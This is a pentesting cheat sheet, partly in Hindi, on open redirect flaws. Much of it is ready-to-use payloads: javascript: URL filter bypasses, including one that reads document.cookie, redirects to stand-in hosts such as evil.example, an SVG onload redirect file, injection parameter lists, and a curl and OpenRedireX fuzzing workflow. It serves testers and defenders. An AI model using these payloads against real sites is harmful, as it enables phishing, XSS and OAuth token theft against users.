Open Redirect

Reading time: 8 minutes

Open redirect

Redirect to localhost or arbitrary domains

• अगर app “allows only internal/whitelisted hosts” है, तो redirect target में वैकल्पिक host notations आज़माएँ ताकि loopback या internal ranges को हिट किया जा सके:
• IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
• IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
• Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
• Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. ये तब उपयोगी होते हैं जब केवल “subdomains of X” की अनुमति है लेकिन host resolution फिर भी 127.0.0.1 की ओर इशारा करती है।
• Network-path references अक्सर naive validators को बाईपास कर देते हैं जो scheme prepend करते हैं या केवल prefixes चेक करते हैं:
• //attacker.tld → इसे scheme-relative के रूप में interpret किया जाता है और यह current scheme के साथ साइट से बाहर नेविगेट कर देता है।
• Userinfo tricks contains/startswith checks को धोखा देते हैं जो trusted hosts के खिलाफ होते हैं:
• https://trusted.tld@attacker.tld/ → browser attacker.tld पर नेविगेट करता है लेकिन simple string checks trusted.tld “देखते” हैं।
• Backslash parsing confusion frameworks/browsers के बीच होता है:
• https://trusted.tld@attacker.tld → कुछ backends “\” को path char मानते हैं और validation पास कर देते हैं; browsers इसे normalize करके “/” बना देते हैं और trusted.tld को userinfo के रूप में interpret करते हैं, जिससे users attacker.tld पर भेजे जाते हैं। यह Node/PHP URL-parser mismatches में भी दिखाई देता है।

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

# Scheme-relative (current scheme is reused)
//evil.example

# Credentials (userinfo) trick
https://trusted.example@evil.example/

# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/

# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example

# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example

# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example

Open Redirect svg फ़ाइलें अपलोड करना

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

सामान्य injection parameters

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

कोड उदाहरण

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (व्यवहारिक)

• एकल URL जाँच curl के साथ:

curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

• संभावित parameters को बड़े पैमाने पर खोजें और fuzz करें:

# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt            # or: waybackurls / katana / hakrawler

# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt

# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt

• SPAs में client-side sinks मत भूलें: window.location/assign/replace और ऐसे framework helpers खोजें जो query/hash पढ़कर redirect करते हैं।

• Frameworks अक्सर खतरनाक गलतियाँ पैदा कर देते हैं जब redirect गंतव्य अनविश्वसनीय इनपुट (query params, Referer, cookies) से निकाले जाते हैं। Next.js के redirect नोट्स देखें और user input से निकले dynamic destinations से बचें।

NextJS

• OAuth/OIDC flows: open redirectors का दुरुपयोग अक्सर account takeover में escalate कर देता है by leaking authorization codes/tokens. समर्पित गाइड देखें:

OAuth to Account takeover

• Server responses जिनमें Location के बिना redirects implement किए गए हों (meta refresh/JavaScript), वे phishing के लिए अभी भी exploitable होते हैं और कभी-कभी chained किए जा सकते हैं। Grep for:

<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

टूल्स

• https://github.com/0xNanda/Oralyzer
• OpenRedireX – fuzzer का उपयोग open redirects का पता लगाने के लिए। उदाहरण:

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

संदर्भ

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect में आप fuzzing lists पा सकते हैं।
• https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
• https://github.com/cujanovic/Open-Redirect-Payloads
• https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
• PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
• OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX